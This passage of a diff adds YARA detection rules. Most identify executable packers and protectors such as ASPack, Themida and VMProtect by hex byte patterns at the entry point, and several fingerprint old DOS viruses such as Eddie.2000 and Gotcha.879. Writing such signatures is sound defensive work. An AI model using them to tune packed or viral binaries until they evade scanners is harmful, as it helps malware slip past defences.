+		$0 = {60 E8 02 00 00 00 EB 09 5D 55}
+	condition:
+		$0 at entrypoint
+}
+rule _DzA_Patcher_v13_Loader_
+{
+	meta:
+		description = "DzA Patcher v1.3 Loader"
+	strings:
+		$0 = {BF 00 40 40 00 99 68 48 20 40 00 68 00 20 40 00 52 52 52 52 52 52 52 57 E8 15 01 00 00 85 C0 75 1C 99 52 52 57 52 E8 CB 00 00 00 FF 35 4C 20 40 00 E8 D2 00 00 00 6A 00 E8 BF 00 00 00 99 68 58 20 40 00 52 52 68 63 10 40 00 52 52 E8 DB 00 00 00 6A FF FF 35}
+	condition:
+		$0
+}
+rule _Vx_Eddie2000_
+{
+	meta:
+		description = "Vx: Eddie.2000"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C5 ?? ?? ?? B4 30 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeTools_v21_Encruptor_by_DISMEMBER_
+{
+	meta:
+		description = "ExeTools v2.1 Encruptor by DISMEMBER"
+	strings:
+		$0 = {E8 ?? ?? 5D 83 ?? ?? 1E 8C DA 83 ?? ?? 8E DA 8E C2 BB ?? ?? BA ?? ?? 85 D2 74}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_10_Demo__12__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.0 Demo / 1.2 -> SIS-Team"
+	strings:
+		$0 = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_Microsoft_Visual_Basic_50__60__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual Basic 5.0 - 6.0] --> Anorganix"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _DragonArmor__Orient_
+{
+	meta:
+		description = "DragonArmor -> Orient"
+	strings:
+		$0 = {BF 4C ?? ?? 00 83 C9 FF 33 C0 68 34 ?? ?? 00 F2 AE F7 D1 49 51 68 4C ?? ?? 00 E8 11 0A 00 00 83 C4 0C 68 4C ?? ?? 00 FF 15 00 ?? ?? 00 8B F0 BF 4C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 4C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA BF 5C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 51 68 5C ?? ?? 00 E8 C0 09 00 00 8B 1D 04 ?? ?? 00 83 C4 0C 68 5C ?? ?? 00 56 FF D3 A3 D4 ?? ?? 00 BF 5C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 5C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1}
+	condition:
+		$0
+}
+rule _ASPack_v10803__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.08.03 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E}
+		$2 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD}
+		$3 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _ASPack_v107b__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.07b -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 2B 85 ?? 0B DE ?? 89 85 17 DE ?? ?? 80 BD 01 DE}
+	condition:
+		$0 at entrypoint
+}
+rule _DIET_v100_v100d_
+{
+	meta:
+		description = "DIET v1.00, v1.00d"
+	strings:
+		$0 = {BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Extractable_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Extractable)"
+	strings:
+		$0 = {03 05 00 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_EXE_Protector_197__SetiSoft_
+{
+	meta:
+		description = "Private EXE Protector 1.9.7 -> SetiSoft"
+	strings:
+		$0 = {55 8B EC 83 C4 F4 FC 53 57 56 8B 74 24 20 8B 7C 24 24 66 81 3E 4A 43 0F 85 A5 02 00 00 83 C6 0A 33 DB BA 00 00 00 80 C7 44 24 14 08 00 00 00 43 8D A4 24 00 00 00 00 8B FF 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 2C 8B 4C 24 10 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 02 44 24 0C 88 07 47 EB C6 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 82 6E 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 0F 83 DC 00 00 00 B9 04 00 00 00 33 C0 8D A4 24 00 00 00 00 8D 64 24 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 48 74 B1 0F 89 EF 01 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 73 42 BD 00 01 00 00 B9 08 00 00 00 33 C0 8D A4 24 00 00 00 00 05 00 00 00 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 13 C0 49 75 EF 88 07 47 4D 75 D6}
+	condition:
+		$0
+}
+rule _SecuPack_v15_
+{
+	meta:
+		description = "SecuPack v1.5"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 CC 3A 40 ?? E8 E0 FC FF FF 33 C0 55 68 EA 3C 40 ?? 64 FF 30 64 89 20 6A ?? 68 80 ?? ?? ?? 6A 03 6A ?? 6A 01 ?? ?? ?? 80}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v101b__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.01b -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED D2 2A 44 ?? B8 CC 2A 44 ?? 03 C5 2B 85 A5 2E 44 ?? 89 85 B1 2E 44 ?? 80 BD 9C 2E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_November_17768_
+{
+	meta:
+		description = "Vx: November 17.768"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? 50 33 C0 8E D8 80 3E ?? ?? ?? 0E 1F ?? ?? FC}
+	condition:
+		$0 at entrypoint
+}
+rule _NeoLite_v20_
+{
+	meta:
+		description = "NeoLite v2.0"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4E 65 6F 4C 69 74 65}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_kkryptor_9kryptor_a__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake k.kryptor 9/kryptor a) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 ?? ?? ?? ?? 5E B9 00 00 00 00 2B C0 02 04 0E D3 C0 49 79 F8 41 8D 7E 2C 33 46 ?? 66 B9}
+	condition:
+		$0 at entrypoint
+}
+rule _GameGuard__nProtect_
+{
+	meta:
+		description = "GameGuard - nProtect"
+	strings:
+		$0 = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE ?? ?? ?? ?? 31 FF 74 06 61 E9 4A 4D 50 30 8D BE ?? ?? ?? ?? 31 C9 74 06 61 E9 4A 4D 50 30 B8 7D 00 00 00 39 C2 B8 4C 00 00 00 F7 D0 75 3F 64 A1 30 00 00 00 85 C0 78 23 8B 40 0C 8B 40 0C C7 40 20 00 10 00 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 85 C0 75 16 E9 12 00 00 00 31 C0 64 A0 20 00 00 00 85 C0 75 05 E9 01 00 00 00 61 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07}
+	condition:
+		$0 at entrypoint
+}
+rule _PEArmor_046__China_Cracking_Group_
+{
+	meta:
+		description = "PE-Armor 0.46 -> China Cracking Group"
+	strings:
+		$0 = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v07__Cyberbob_
+{
+	meta:
+		description = "PESpin v0.7 -> Cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2021_protected_IAT_
+{
+	meta:
+		description = "EXECryptor 2.0/2.1 (protected IAT)"
+	strings:
+		$0 = {A4 ?? ?? ?? 00 00 00 00 FF FF FF FF 3C ?? ?? ?? 94 ?? ?? ?? D8 ?? ?? ?? 00 00 00 00 FF FF FF FF B8 ?? ?? ?? D4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 60 ?? ?? ?? 70 ?? ?? ?? 84 ?? ?? ?? 00 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41}
+	condition:
+		$0
+}
+rule _ENIGMA_Protector_V11_Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.1-> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ?? ?? 81}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v04x__v05x_
+{
+	meta:
+		description = "tElock v0.4x - v0.5x"
+	strings:
+		$0 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 ?? 8B FE 68 79 01 ?? ?? 59 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_V1033__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector V1.03.3 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2D E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED 07 E2 40 00 8B D5 81 C2 56 E2 40 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Hafen809_
+{
+	meta:
+		description = "Vx: Hafen.809"
+	strings:
+		$0 = {E8 ?? ?? 1C ?? 81 EE ?? ?? 50 1E 06 8C C8 8E D8 06 33 C0 8E C0 26 ?? ?? ?? 07 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _yzpack_112__UsAr_
+{
+	meta:
+		description = "yzpack 1.12 -> UsAr"
+	strings:
+		$0 = {5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9 ?? ?? ?? ?? B4 09 BA 00 00 1F CD 21 B8 01 4C CD 21 40 00 00 00 50 45 00 00 4C 01 02 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 E0 00 ?? ?? 0B 01 ?? ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida_1201_compressed__Oreans_Technologies_
+{
+	meta:
+		description = "Themida 1.2.0.1 (compressed) -> Oreans Technologies"
+	strings:
+		$0 = {B8 00 00 ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8}
+	condition:
+		$0 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v30_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v3.0"
+	strings:
+		$0 = {55 8B EC 83 EC 44 56 FF 15 94 13 42 00 8B F0 B1 22 8A 06 3A C1 75 13 8A 46 01 46 3A C1 74 04 84 C0 75 F4 38 0E 75 0D 46 EB 0A 3C 20 7E 06}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_PENightMare_2_Beta__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PENightMare 2 Beta] --> Anorganix"
+	strings:
+		$0 = {60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A}
+	condition:
+		$0 at entrypoint
+}
+rule _Pe123__v2006412_
+{
+	meta:
+		description = "Pe123  v2006.4.12"
+	strings:
+		$0 = {8B C0 60 9C E8 01 00 00 00 C3 53 E8 72 00 00 00 50 E8 1C 03 00 00 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _EXEPACK_v405_v406_
+{
+	meta:
+		description = "EXEPACK v4.05, v4.06"
+	strings:
+		$0 = {8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 06 ?? ?? 8E C0 8B 0E ?? ?? 8B F9 4F 8B F7 FD F3 A4}
+	condition:
+		$0 at entrypoint
+}
+rule _WinZip_32bit_SFX_v8x_module_
+{
+	meta:
+		description = "WinZip 32-bit SFX v8.x module"
+	strings:
+		$0 = {53 FF 15 ?? ?? ?? 00 B3 22 38 18 74 03 80 C3 FE 8A 48 01 40 33 D2 3A CA 74 0A 3A CB 74 06 8A 48 01 40 EB F2 38 10 74 01 40 ?? ?? ?? ?? FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _WebCops_DLL__LINK_Data_Security_
+{
+	meta:
+		description = "WebCops [DLL] -> LINK Data Security"
+	strings:
+		$0 = {A8 BE 58 DC D6 CC C4 63 4A 0F E0 02 BB CE F3 5C 50 23 FB 62 E7 3D 2B}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_118_Dll_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack 1.18 Dll (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 08 83 3C 37 00 75 E6 83 BD 0D 0B 00 00 00 74 0E 83 BD 11 0B 00 00 00 74 05 E8 F6 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 1D 0B 00 00 5B 60 FF B5 F9 0A 00 00 56 FF B5 1D 0B 00 00 FF D3 61 8B B5 1D 0B 00 00 8B C6 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _ass__crypter__by_santasdad_
+{
+	meta:
+		description = "ass - crypter -> by santasdad"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 98 40 00 10 E8 AC EA FF FF 33 C0 55 68 78 51 00 10 64 ?? ?? ?? ?? 20 6A 0A 68 88 51 00 10 A1 E0 97 00 10 50 E8 D8 EA FF FF 8B D8 53 A1 E0 97 00 10 50 E8 12 EB FF FF 8B F8 53 A1 E0 97 00 10 50 E8 DC EA FF FF 8B D8 53 E8 DC EA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 F0 97 00 10 E8 C9 E7 FF FF B8 F0 97 00 10 E8 B7 E7 FF FF 8B CF 8B D6 E8 EE EA FF FF 53 E8 98 EA FF FF 8D 4D EC BA 9C 51 00 10 A1 F0 97 00 10 E8 22 EB FF FF 8B 55 EC B8 F0 97 00 10 E8 89 E6 FF FF B8 F0 97 00 10 E8 7F E7 FF FF E8 6E EC FF FF 33 C0 5A 59 59 64 89 10 68 7F 51 00 10 8D 45 EC E8 11 E6 FF FF C3 E9 FF DF FF FF EB F0 5F 5E 5B E8 0D E5 FF FF 00 53 45 54 54 49 4E 47 53 00 00 00 00 FF FF FF FF 1C 00 00 00 45 4E 54 45 52 20 59 4F 55 52 20 4F 57 4E 20 50 41 53 53 57 4F 52 44 20 48 45 52 45}
+	condition:
+		$0 at entrypoint
+}
+rule _VMProtect_07x__08__PolyTech_
+{
+	meta:
+		description = "VMProtect 0.7x - 0.8 -> PolyTech"
+	strings:
+		$0 = {5B 20 56 4D 50 72 6F 74 65 63 74 20 76 20 30 2E 38 20 28 43 29 20 50 6F 6C 79 54 65 63 68 20 5D}
+	condition:
+		$0
+}
+rule _CICompress_v10_
+{
+	meta:
+		description = "CICompress v1.0"
+	strings:
+		$0 = {6A 04 68 00 10 00 00 FF 35 9C 14 40 00 6A 00 FF 15 38 10 40 00 A3 FC 10 40 00 97 BE 00 20 40 00 E8 71 00 00 00 3B 05 9C 14 40 00 75 61 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 68 94 10 40 00 FF 15 2C 10 40 00 A3 F8 10 40 00 6A 00 68 F4 10 40 00 FF 35}
+	condition:
+		$0 at entrypoint
+}
+rule _MoleBox_v254__Teggo_
+{
+	meta:
+		description = "MoleBox v2.5.4 -> Teggo"
+	strings:
+		$0 = {00 8B 4D F0 8B 11 89 15 ?? ?? ?? 00 8B 45 FC A3 ?? ?? ?? 00 5F 5E 8B E5 5D C3 CC CC CC E8 EB FB FF FF 58 E8 ?? 07 00 00 58 89 44 24 24 61 58 58 FF D0 E8 ?? ?? 00 00 6A 00 FF 15 ?? ?? ?? 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+	condition:
+		$0
+}
+rule _ExeShield_36__wwwexeshieldcom_
+{
+	meta:
+		description = "ExeShield 3.6 -> www.exeshield.com"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Spin_v04x_
+{
+	meta:
+		description = "PE Spin v0.4x"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B}
+	condition:
+		$0
+}
+rule _Thinstall_v2460__Jitit_
+{
+	meta:
+		description = "Thinstall v2.460 -> Jitit"
+	strings:
+		$0 = {55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 F4 18 40 00 50 E8 87 FC FF FF 59 59 A1 94 1A 40 00 8B 40 10 03 05 90 1A 40 00 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00 76 0C 00 00 D4 0C 00 00 1E}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_TravJack883_
+{
+	meta:
+		description = "Vx: TravJack.883"
+	strings:
+		$0 = {EB ?? 9C 9E 26 ?? ?? 51 04 ?? 7D ?? 00 ?? 2E ?? ?? ?? ?? 8C C8 8E C0 8E D8 80 ?? ?? ?? ?? 74 ?? 8A ?? ?? ?? BB ?? ?? 8A ?? 32 C2 88 ?? FE C2 43 81}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v20_
+{
+	meta:
+		description = "FSG v2.0"
+	strings:
+		$0 = {87 25 ?? ?? ?? ?? 61 94 55 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75}
+	condition:
+		$0
+}
+rule _Vx_Gotcha879_
+{
+	meta:
+		description = "Vx: Gotcha.879"
+	strings:
+		$0 = {E8 ?? ?? 5B 81 EB ?? ?? 9C FC 2E ?? ?? ?? ?? ?? ?? ?? 8C D8 05 ?? ?? 2E ?? ?? ?? ?? 50 2E ?? ?? ?? ?? ?? ?? 8B C3 05 ?? ?? 8B F0 BF 00 01 B9 20 00 F3 A4 0E B8 00 01 50 B8 DA DA CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_v29_
+{
+	meta:
+		description = "Exe Shield v2.9"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 0B 20 40 00 B9 EB 08 00 00 8D BD 53 20 40 00 8B F7 AC ?? ?? ?? F8}
+	condition:
+		$0 at entrypoint
+}
+rule _Program_Protector_XP_v10_
+{
+	meta:
+		description = "Program Protector XP v1.0"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 58 83 D8 05 89 C3 81 C3 ?? ?? ?? ?? 8B 43 64 50}
+	condition:
+		$0 at entrypoint
+}
+rule _IProtect_10_FxSubdll_mode__by_FuXdas_
+{
+	meta:
+		description = "IProtect 1.0 (FxSub.dll mode) - by FuXdas"
+	strings:
+		$0 = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 53 75 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED B6 13 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 A8 13 40 00 8D 85 81 13 40 00 50 FF B5 A8 13 40 00 E8 92 00 00 00 0B C0 74 13 89 85 A4 13 40 00 8D 85 8E 13 40 00 50 FF 95 A4 13 40 00 8B 85 AC 13 40 00 89 44 24 1C 61 FF E0 8B 7C 24 04 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 98 13 40 00 89 20 89 68 04 8D 9D 4F 14 40 00 89 58 08 64 89 25 00 00 00 00 81 E7 00 00 FF FF 66 81 3F 4D 5A 75 0F 8B F7 03 76 3C 81 3E 50 45 00 00 75 02 EB 17 81 EF 00 00 01 00 81 FF 00 00 00 70 73 07 BF 00 00 F7 BF EB 02 EB D3 97 64 8F 05 00 00 00 00 83 C4 04 C2 04 00 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 98 13 40 00 89 20 89 68 04 8D 9D 4F 14 40 00 89 58 08 64 89 25 00 00 00 00 8B 74 24 0C 66 81 3E 4D 5A 74 05 E9 8A 00 00 00 03 76 3C 81 3E 50 45 00 00 74 02 EB 7D 8B 7C 24 10 B9 96 00 00 00 32 C0 F2 AE 8B CF 2B 4C 24 10 8B 56 78 03 54 24 0C 8B 5A 20 03 5C 24 0C 33 C0 8B 3B 03 7C 24 0C 8B 74 24 10 51 F3 A6 75 05 83 C4 04 EB 0A 59 83 C3 04 40 3B 42 18 75 E2 3B 42 18 75 02 EB 35 8B 72 24 03 74 24 0C 52 BB 02 00 00 00 33 D2 F7 E3 5A 03 C6 33 C9 66 8B 08 8B 7A 1C 33 D2 BB 04 00 00 00 8B C1 F7 E3 03 44 24 0C 03 C7 8B 00 03 44 24 0C EB 02 33 C0 64 8F 05 00 00 00 00 83 C4 04 C2 08 00 E8 B5 FA FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Packer_v70_by_TurboPower_Software_
+{
+	meta:
+		description = "EXE Packer v7.0 by TurboPower Software"
+	strings:
+		$0 = {1E 06 8C C3 83 ?? ?? 2E ?? ?? ?? ?? B9 ?? ?? 8C C8 8E D8 8B F1 4E 8B FE}
+	condition:
+		$0 at entrypoint
+}
+rule _Trivial173_by_SMTSMF_
+{
+	meta:
+		description = "Trivial173 by SMT/SMF"
+	strings:
+		$0 = {EB ?? ?? 28 54 72 69 76 69 61 6C 31 37 33 20 62 79 20 53 4D 54 2F 53 4D 46 29}
+	condition:
+		$0 at entrypoint
+}
+rule _Lockless_Intro_Pack_
+{
+	meta:
+		description = "Lockless Intro Pack"
+	strings:
+		$0 = {2C E8 ?? ?? ?? ?? 5D 8B C5 81 ED F6 73 ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 06 89 85}
+	condition:
+		$0 at entrypoint
+}
+rule _SLVc0deProtector_11x__SLV__ICU_
+{
+	meta:
+		description = "SLVc0deProtector 1.1x -> SLV / ICU"
+	strings:
+		$0 = {E8 00 00 00 00 58 C6 00 EB C6 40 01 08 FF E0 E9 4C ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_13021__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.0.21 -> Obsidium Software"
+	strings:
+		$0 = {EB 03 ?? ?? ?? E8 2E 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 26 00 00}
+	condition:
